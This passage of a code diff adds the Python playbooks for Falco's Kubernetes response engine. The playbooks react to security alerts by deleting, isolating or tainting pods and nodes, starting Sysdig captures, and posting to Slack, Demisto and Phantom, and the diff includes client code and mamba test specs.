+sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
+
+import os
+import playbooks
+from playbooks import infrastructure
+
+
+def _to_bool(value):
+    return value.lower() in ('yes', 'true', '1')
+
+
+playbook = playbooks.CreateContainerInPhantom(
+    infrastructure.PhantomClient(
+        os.environ['PHANTOM_USER'],
+        os.environ['PHANTOM_PASSWORD'],
+        os.environ['PHANTOM_BASE_URL'],
+        verify_ssl=_to_bool(os.environ.get('VERIFY_SSL', 'True'))
+    )
+)
+
+
+def handler(event, context):
+    playbook.run(event['data'])

integrations/kubernetes-response-engine/playbooks/functions/slack.py

@@ -0,0 +1,12 @@
+import os
+import playbooks
+from playbooks import infrastructure
+
+
+playbook = playbooks.AddMessageToSlack(
+    infrastructure.SlackClient(os.environ['SLACK_WEBHOOK_URL'])
+)
+
+
+def handler(event, context):
+    playbook.run(playbooks.falco_alert(event))

integrations/kubernetes-response-engine/playbooks/functions/taint.py

@@ -0,0 +1,15 @@
+import os
+import playbooks
+from playbooks import infrastructure
+
+
+playbook = playbooks.TaintNode(
+    infrastructure.KubernetesClient(),
+    os.environ.get('TAINT_KEY', 'falco/alert'),
+    os.environ.get('TAINT_VALUE', 'true'),
+    os.environ.get('TAINT_EFFECT', 'NoSchedule')
+)
+
+
+def handler(event, context):
+    playbook.run(playbooks.falco_alert(event))

integrations/kubernetes-response-engine/playbooks/playbooks/__init__.py

@@ -0,0 +1,210 @@
+import json
+import maya
+
+
+class DeletePod(object):
+    def __init__(self, k8s_client):
+        self._k8s_client = k8s_client
+
+    def run(self, alert):
+        pod_name = alert['output_fields']['k8s.pod.name']
+
+        self._k8s_client.delete_pod(pod_name)
+
+
+class AddMessageToSlack(object):
+    def __init__(self, slack_client):
+        self._slack_client = slack_client
+
+    def run(self, alert):
+        message = self._build_slack_message(alert)
+        self._slack_client.post_message(message)
+
+        return message
+
+    def _build_slack_message(self, alert):
+        return {
+            'text': _output_from_alert(alert),
+            'attachments':  [{
+                'color': self._color_from(alert['priority']),
+                'fields': [
+                    {
+                        'title': 'Rule',
+                        'value': alert['rule'],
+                        'short': False
+                    },
+                    {
+                        'title': 'Priority',
+                        'value': alert['priority'],
+                        'short': True
+                    },
+                    {
+                        'title': 'Time',
+                        'value': str(maya.parse(alert['time'])),
+                        'short': True
+                    },
+                    {
+                        'title': 'Kubernetes Pod Name',
+                        'value': alert['output_fields']['k8s.pod.name'],
+                        'short': True
+                    },
+                    {
+                        'title': 'Container Id',
+                        'value': alert['output_fields']['container.id'],
+                        'short': True
+                    }
+                ]
+            }]
+        }
+
+    _COLORS = {
+        'Emergency': '#b12737',
+        'Alert': '#f24141',
+        'Critical': '#fc7335',
+        'Error': '#f28143',
+        'Warning': '#f9c414',
+        'Notice': '#397ec3',
+        'Informational': '#8fc0e7',
+        'Debug': '#8fc0e7',
+    }
+
+    def _color_from(self, priority):
+        return self._COLORS.get(priority, '#eeeeee')
+
+
+def _output_from_alert(alert):
+    output = alert['output'].split(': ')[1]
+    priority_plus_whitespace_length = len(alert['priority']) + 1
+
+    return output[priority_plus_whitespace_length:]
+
+
+class TaintNode(object):
+    def __init__(self, k8s_client, key, value, effect):
+        self._k8s_client = k8s_client
+        self._key = key
+        self._value = value
+        self._effect = effect
+
+    def run(self, alert):
+        pod = alert['output_fields']['k8s.pod.name']
+        node = self._k8s_client.find_node_running_pod(pod)
+
+        self._k8s_client.taint_node(node, self._key, self._value, self._effect)
+
+
+class NetworkIsolatePod(object):
+    def __init__(self, k8s_client):
+        self._k8s_client = k8s_client
+
+    def run(self, alert):
+        pod = alert['output_fields']['k8s.pod.name']
+
+        self._k8s_client.add_label_to_pod(pod, 'isolated', 'true')
+
+
+class CreateIncidentInDemisto(object):
+    def __init__(self, demisto_client):
+        self._demisto_client = demisto_client
+
+    def run(self, alert):
+        incident = {
+            'type': 'Policy Violation',
+            'name': alert['rule'],
+            'details': _output_from_alert(alert),
+            'severity': self._severity_from(alert['priority']),
+            'occurred': alert['time'],
+            'labels': [
+                {'type': 'Brand', 'value': 'Sysdig'},
+                {'type': 'Application', 'value': 'Falco'},
+                {'type': 'container.id', 'value': alert['output_fields']['container.id']},
+                {'type': 'k8s.pod.name', 'value': alert['output_fields']['k8s.pod.name']}
+            ]
+        }
+        self._demisto_client.create_incident(incident)
+
+        return incident
+
+    def _severity_from(self, priority):
+        return self._SEVERITIES.get(priority, 0)
+
+    _SEVERITIES = {
+        'Emergency': 4,
+        'Alert': 4,
+        'Critical': 4,
+        'Error': 3,
+        'Warning': 2,
+        'Notice': 1,
+        'Informational': 5,
+        'Debug': 5,
+    }
+
+
+class StartSysdigCaptureForContainer(object):
+    def __init__(self, k8s_client, duration_in_seconds, s3_bucket,
+                 aws_access_key_id, aws_secret_access_key):
+        self._k8s_client = k8s_client
+        self._duration_in_seconds = duration_in_seconds
+        self._s3_bucket = s3_bucket
+        self._aws_access_key_id = aws_access_key_id
+        self._aws_secret_access_key = aws_secret_access_key
+
+    def run(self, alert):
+        pod = alert['output_fields']['k8s.pod.name']
+        event_time = alert['output_fields']['evt.time']
+
+        self._k8s_client.start_sysdig_capture_for(pod,
+                                                  event_time,
+                                                  self._duration_in_seconds,
+                                                  self._s3_bucket,
+                                                  self._aws_access_key_id,
+                                                  self._aws_secret_access_key)
+
+
+class CreateContainerInPhantom(object):
+    def __init__(self, phantom_client):
+        self._phantom_client = phantom_client
+
+    def run(self, alert):
+        container = self._build_container_from(alert)
+        self._phantom_client.create_container(container)
+
+        return container
+
+    def _build_container_from(self, alert):
+        return {
+            'description': _output_from_alert(alert),
+            'name': alert['rule'],
+            'start_time': maya.parse(alert['time']).iso8601(),
+            'severity': self._severity_from(alert['priority']),
+            'label': 'events',
+            'status': 'new',
+            'data': {
+                'container.id': alert['output_fields']['container.id'],
+                'k8s.pod.name': alert['output_fields']['k8s.pod.name'],
+            }
+        }
+
+    def _severity_from(self, priority):
+        return self._SEVERITIES.get(priority, 0)
+
+    _SEVERITIES = {
+        'Emergency': 'high',
+        'Alert': 'high',
+        'Critical': 'high',
+        'Error': 'medium',
+        'Warning': 'medium',
+        'Notice': 'low',
+        'Informational': 'low',
+        'Debug': 'low',
+    }
+
+
+def falco_alert(event):
+    if 'data' in event:
+        return event['data']
+
+    if 'Records' in event:
+        return json.loads(event['Records'][0]['Sns']['Message'])
+
+    return event

integrations/kubernetes-response-engine/playbooks/playbooks/infrastructure.py

@@ -0,0 +1,267 @@
+import os
+import json
+from six.moves import http_client
+
+from kubernetes import client, config
+import requests
+
+
+class KubernetesClient(object):
+    def __init__(self):
+        if 'KUBERNETES_LOAD_KUBE_CONFIG' in os.environ:
+            config.load_kube_config()
+        else:
+            config.load_incluster_config()
+
+        self._v1 = client.CoreV1Api()
+        self._batch_v1 = client.BatchV1Api()
+
+    def delete_pod(self, name):
+        namespace = self._find_pod_namespace(name)
+        body = client.V1DeleteOptions()
+        self._v1.delete_namespaced_pod(name=name,
+                                       namespace=namespace,
+                                       body=body)
+
+    def exists_pod(self, name):
+        response = self._v1.list_pod_for_all_namespaces(watch=False)
+        for item in response.items:
+            if item.metadata.name == name:
+                if item.metadata.deletion_timestamp is None:
+                    return True
+
+        return False
+
+    def _find_pod_namespace(self, name):
+        response = self._v1.list_pod_for_all_namespaces(watch=False)
+        for item in response.items:
+            if item.metadata.name == name:
+                return item.metadata.namespace
+
+    def find_node_running_pod(self, name):
+        response = self._v1.list_pod_for_all_namespaces(watch=False)
+        for item in response.items:
+            if item.metadata.name == name:
+                return item.spec.node_name
+
+    def taint_node(self, name, key, value, effect):
+        body = client.V1Node(
+            spec=client.V1NodeSpec(
+                taints=[
+                    client.V1Taint(key=key, value=value, effect=effect)
+                ]
+            )
+        )
+
+        return self._v1.patch_node(name, body)
+
+    def add_label_to_pod(self, name, label, value):
+        namespace = self._find_pod_namespace(name)
+
+        body = client.V1Pod(
+            metadata=client.V1ObjectMeta(
+                labels={label: value}
+            )
+        )
+
+        return self._v1.patch_namespaced_pod(name, namespace, body)
+
+    def start_sysdig_capture_for(self, pod_name, event_time,
+                                 duration_in_seconds, s3_bucket,
+                                 aws_access_key_id, aws_secret_access_key):
+        job_name = 'sysdig-{}-{}'.format(pod_name, event_time)
+
+        node_name = self.find_node_running_pod(pod_name)
+        namespace = self._find_pod_namespace(pod_name)
+        body = self._build_sysdig_capture_job_body(job_name,
+                                                   node_name,
+                                                   duration_in_seconds,
+                                                   s3_bucket,
+                                                   aws_access_key_id,
+                                                   aws_secret_access_key)
+
+        return self._batch_v1.create_namespaced_job(namespace, body)
+
+    def _build_sysdig_capture_job_body(self, job_name, node_name,
+                                       duration_in_seconds, s3_bucket,
+                                       aws_access_key_id, aws_secret_access_key):
+        return client.V1Job(
+            metadata=client.V1ObjectMeta(
+                name=job_name
+            ),
+            spec=client.V1JobSpec(
+                template=client.V1PodTemplateSpec(
+                    metadata=client.V1ObjectMeta(
+                        name=job_name
+                    ),
+                    spec=client.V1PodSpec(
+                        containers=[client.V1Container(
+                            name='capturer',
+                            image='sysdig/capturer',
+                            image_pull_policy='Always',
+                            security_context=client.V1SecurityContext(
+                                privileged=True
+                            ),
+                            env=[
+                                client.V1EnvVar(
+                                    name='AWS_S3_BUCKET',
+                                    value=s3_bucket
+                                ),
+                                client.V1EnvVar(
+                                    name='CAPTURE_DURATION',
+                                    value=str(duration_in_seconds)
+                                ),
+                                client.V1EnvVar(
+                                    name='CAPTURE_FILE_NAME',
+                                    value=job_name
+                                ),
+                                client.V1EnvVar(
+                                    name='AWS_ACCESS_KEY_ID',
+                                    value=aws_access_key_id,
+                                ),
+                                client.V1EnvVar(
+                                    name='AWS_SECRET_ACCESS_KEY',
+                                    value=aws_secret_access_key,
+                                )
+                            ],
+                            volume_mounts=[
+                                client.V1VolumeMount(
+                                    mount_path='/host/var/run/docker.sock',
+                                    name='docker-socket'
+                                ),
+                                client.V1VolumeMount(
+                                    mount_path='/host/dev',
+                                    name='dev-fs'
+                                ),
+                                client.V1VolumeMount(
+                                    mount_path='/host/proc',
+                                    name='proc-fs',
+                                    read_only=True
+                                ),
+                                client.V1VolumeMount(
+                                    mount_path='/host/boot',
+                                    name='boot-fs',
+                                    read_only=True
+                                ),
+                                client.V1VolumeMount(
+                                    mount_path='/host/lib/modules',
+                                    name='lib-modules',
+                                    read_only=True
+                                ),
+                                client.V1VolumeMount(
+                                    mount_path='/host/usr',
+                                    name='usr-fs',
+                                    read_only=True
+                                ),
+                                client.V1VolumeMount(
+                                    mount_path='/dev/shm',
+                                    name='dshm'
+                                )
+                            ]
+                        )],
+                        volumes=[
+                            client.V1Volume(
+                                name='dshm',
+                                empty_dir=client.V1EmptyDirVolumeSource(
+                                    medium='Memory'
+                                )
+                            ),
+                            client.V1Volume(
+                                name='docker-socket',
+                                host_path=client.V1HostPathVolumeSource(
+                                    path='/var/run/docker.sock'
+                                )
+                            ),
+                            client.V1Volume(
+                                name='dev-fs',
+                                host_path=client.V1HostPathVolumeSource(
+
+                                    path='/dev'
+                                )
+                            ),
+                            client.V1Volume(
+                                name='proc-fs',
+                                host_path=client.V1HostPathVolumeSource(
+                                    path='/proc'
+                                )
+                            ),
+
+                            client.V1Volume(
+                                name='boot-fs',
+                                host_path=client.V1HostPathVolumeSource(
+                                    path='/boot'
+                                )
+                            ),
+                            client.V1Volume(
+                                name='lib-modules',
+                                host_path=client.V1HostPathVolumeSource(
+                                    path='/lib/modules'
+                                )
+                            ),
+                            client.V1Volume(
+                                name='usr-fs',
+                                host_path=client.V1HostPathVolumeSource(
+                                    path='/usr'
+                                )
+                            )
+                        ],
+                        node_name=node_name,
+                        restart_policy='Never'
+                    )
+                )
+            )
+        )
+
+
+class SlackClient(object):
+    def __init__(self, slack_webhook_url):
+        self._slack_webhook_url = slack_webhook_url
+
+    def post_message(self, message):
+        requests.post(self._slack_webhook_url,
+                      data=json.dumps(message))
+
+
+class DemistoClient(object):
+    def __init__(self, api_key, base_url, verify_ssl=True):
+        self._api_key = api_key
+        self._base_url = base_url
+        self._verify_ssl = verify_ssl
+
+    def create_incident(self, incident):
+        response = requests.post(self._base_url + '/incident',
+                                 headers=self._headers(),
+                                 data=json.dumps(incident),
+                                 verify=self._verify_ssl)
+
+        if response.status_code != http_client.CREATED:
+            raise RuntimeError(response.text)
+
+    def _headers(self):
+        return {
+            'Content-Type': 'application/json',
+            'Accept': 'application/json',
+            'Authorization': self._api_key,
+        }
+
+
+class PhantomClient(object):
+    def __init__(self, user, password, base_url, verify_ssl=True):
+        self._user = user
+        self._password = password
+        self._base_url = base_url
+        self._verify_ssl = verify_ssl
+
+    def create_container(self, container):
+        response = requests.post(self._base_url + '/rest/container',
+                                 data=json.dumps(container),
+                                 auth=(self._user, self._password),
+                                 verify=self._verify_ssl)
+
+        response_as_json = response.json()
+        if 'success' in response_as_json:
+            result = container.copy()
+            result['id'] = response_as_json['id']
+            return result
+
+        raise RuntimeError(response_as_json['message'])

integrations/kubernetes-response-engine/playbooks/setup.py

@@ -0,0 +1,11 @@
+from setuptools import setup
+
+setup(name='playbooks',
+      version='0.1',
+      description='A set of playbooks for Falco alerts',
+      url='http://github.com/draios/falco-playbooks',
+      author='Néstor Salceda',
+      author_email='nestor.salceda@sysdig.com',
+      license='',
+      packages=['playbooks'],
+      zip_safe=False)

integrations/kubernetes-response-engine/playbooks/specs/infrastructure/demisto_client_spec.py

@@ -0,0 +1,32 @@
+from mamba import description, it, context, before
+from expects import expect, raise_error
+
+import os
+
+from playbooks import infrastructure
+
+
+with description(infrastructure.DemistoClient) as self:
+    with before.each:
+        self.demisto_client = infrastructure.DemistoClient(
+            os.environ['DEMISTO_API_KEY'],
+            os.environ['DEMISTO_BASE_URL'],
+            verify_ssl=False
+        )
+
+    with it('creates an incident'):
+        incident = {
+            "type": "Policy Violation",
+            "name": "Falco incident",
+            "severity": 2,
+            "details": "Some incident details"
+        }
+
+        self.demisto_client.create_incident(incident)
+
+    with context('when an error happens'):
+        with it('raises an exception'):
+            incident = {}
+
+            expect(lambda: self.demisto_client.create_incident(incident)).\
+                to(raise_error(RuntimeError))

integrations/kubernetes-response-engine/playbooks/specs/infrastructure/kubernetes_client_spec.py

@@ -0,0 +1,78 @@
+from mamba import description, context, it, before
+from expects import expect, be_false, be_true, start_with, equal, have_key, be_none
+
+import subprocess
+import os.path
+import time
+
+from playbooks import infrastructure
+
+
+with description(infrastructure.KubernetesClient) as self:
+    with before.each:
+        self.kubernetes_client = infrastructure.KubernetesClient()
+
+    with context('when checking if a pod exists'):
+        with before.each:
+            self._create_nginx_pod()
+
+        with context('and pod exists'):
+            with it('returns true'):
+                expect(self.kubernetes_client.exists_pod('nginx')).to(be_true)
+
+        with context('and pod does not exist'):
+            with it('returns false'):
+                self.kubernetes_client.delete_pod('nginx')
+
+                expect(self.kubernetes_client.exists_pod('nginx')).to(be_false)
+
+    with it('finds node running pod'):
+        self._create_nginx_pod()
+
+        node = self.kubernetes_client.find_node_running_pod('nginx')
+
+        expect(node).to(start_with('gke-sysdig-work-default-pool'))
+
+    with it('taints node'):
+        self._create_nginx_pod()
+
+        node_name = self.kubernetes_client.find_node_running_pod('nginx')
+
+        node = self.kubernetes_client.taint_node(node_name,
+                                                 'playbooks',
+                                                 'true',
+                                                 'NoSchedule')
+
+        expect(node.spec.taints[0].effect).to(equal('NoSchedule'))
+        expect(node.spec.taints[0].key).to(equal('playbooks'))
+        expect(node.spec.taints[0].value).to(equal('true'))
+
+    with it('adds label to a pod'):
+        self._create_nginx_pod()
+
+        pod = self.kubernetes_client.add_label_to_pod('nginx',
+                                                      'testing',
+                                                      'true')
+
+        expect(pod.metadata.labels).to(have_key('testing', 'true'))
+
+    with it('starts sysdig capture for'):
+        self._create_nginx_pod()
+
+        job = self.kubernetes_client.start_sysdig_capture_for('nginx',
+                                                              int(time.time()),
+                                                              10,
+                                                              'any s3 bucket',
+                                                              'any aws key id',
+                                                              'any aws secret key')
+
+        expect(job).not_to(be_none)
+
+    def _create_nginx_pod(self):
+        current_directory = os.path.dirname(os.path.realpath(__file__))
+        pod_manifesto = os.path.join(current_directory,
+                                     '..',
+                                     'support',
+                                     'deployment.yaml')
+
+        subprocess.call(['kubectl', 'create', '-f', pod_manifesto])

integrations/kubernetes-response-engine/playbooks/specs/infrastructure/phantom_client_spec.py

@@ -0,0 +1,45 @@
+from mamba import description, it, before, context
+from expects import expect, be_none, raise_error
+
+import os
+
+from playbooks import infrastructure
+
+
+with description(infrastructure.PhantomClient) as self:
+    with before.each:
+        self.phantom_client = infrastructure.PhantomClient(
+            os.environ['PHANTOM_USER'],
+            os.environ['PHANTOM_PASSWORD'],
+            os.environ['PHANTOM_BASE_URL'],
+            verify_ssl=False
+        )
+
+    with it('creates a container in Phantom Server'):
+        container = {
+            'name': 'My Container',
+            'description': 'Useful description of this container.',
+            'label': 'events',
+            'run_automation': False,
+            'severity': 'high',
+            'status': 'new',
+            'start_time': '2015-03-21T19:28:13.759Z',
+        }
+
+        container = self.phantom_client.create_container(container)
+
+        expect(container['id']).not_to(be_none)
+
+    with context('when an error happens'):
+        with it('raises an error'):
+            container = {
+                'description': 'Useful description of this container.',
+                'label': 'events',
+                'run_automation': False,
+                'severity': 'high',
+                'status': 'new',
+                'start_time': '2015-03-21T19:28:13.759Z',
+            }
+
+            expect(lambda: self.phantom_client.create_container(container))\
+                .to(raise_error(RuntimeError))

integrations/kubernetes-response-engine/playbooks/specs/infrastructure/slack_client_spec.py

@@ -0,0 +1,16 @@
+from mamba import description, it
+
+import os
+
+from playbooks import infrastructure
+
+
+with description(infrastructure.SlackClient) as self:
+    with it('posts a message to #kubeless-demo channel'):
+        slack_client = infrastructure.SlackClient(os.environ['SLACK_WEBHOOK_URL'])
+
+        message = {
+            'text': 'Hello from Python! :metal:'
+        }
+
+        slack_client.post_message(message)

integrations/kubernetes-response-engine/playbooks/specs/playbooks/add_message_to_slack_playbook_spec.py

@@ -0,0 +1,62 @@
+from mamba import description, it, before, context
+from expects import expect, have_key, have_keys, contain
+
+from doublex import Spy
+from doublex_expects import have_been_called_with
+
+from playbooks import infrastructure
+import playbooks
+
+
+
+with description(playbooks.AddMessageToSlack) as self:
+    with before.each:
+        self.slack_client = Spy(infrastructure.SlackClient)
+        self.playbook = playbooks.AddMessageToSlack(self.slack_client)
+
+    with context('when publishing a message to slack'):
+        with before.each:
+            self.alert = {
+                "output": "10:22:15.576767292: Notice Unexpected setuid call by non-sudo, non-root program (user=bin cur_uid=2 parent=event_generator command=event_generator  uid=root) k8s.pod=falco-event-generator-6fd89678f9-cdkvz container=1c76f49f40b4",
+                "output_fields": {
+                    "container.id": "1c76f49f40b4",
+                    "evt.arg.uid": "root",
+                    "evt.time": 1527157335576767292,
+                    "k8s.pod.name": "falco-event-generator-6fd89678f9-cdkvz",
+                    "proc.cmdline": "event_generator ",
+                    "proc.pname": "event_generator",
+                    "user.name": "bin",
+                    "user.uid": 2
+                },
+                "priority": "Notice",
+                "rule": "Non sudo setuid",
+                "time": "2018-05-24T10:22:15.576767292Z"
+            }
+
+            self.message = self.playbook.run(self.alert)
+
+        with it('publishes message to slack'):
+            expect(self.slack_client.post_message).to(have_been_called_with(self.message))
+
+        with it('includes falco output'):
+            falco_output = 'Unexpected setuid call by non-sudo, non-root program (user=bin cur_uid=2 parent=event_generator command=event_generator  uid=root) k8s.pod=falco-event-generator-6fd89678f9-cdkvz container=1c76f49f40b4'
+
+            expect(self.message).to(have_key('text', falco_output))
+
+        with it('includes color based on priority'):
+            expect(self.message['attachments'][0]).to(have_key('color'))
+
+        with it('includes priority'):
+            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Priority', value='Notice')))
+
+        with it('includes rule name'):
+            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Rule', value='Non sudo setuid')))
+
+        with it('includes time when alert happened'):
+            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Time', value='Thu, 24 May 2018 10:22:15 GMT')))
+
+        with it('includes kubernetes pod name'):
+            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Kubernetes Pod Name', value='falco-event-generator-6fd89678f9-cdkvz')))
+
+        with it('includes container id'):
+            expect(self.message['attachments'][0]['fields']).to(contain(have_keys(title='Container Id', value='1c76f49f40b4')))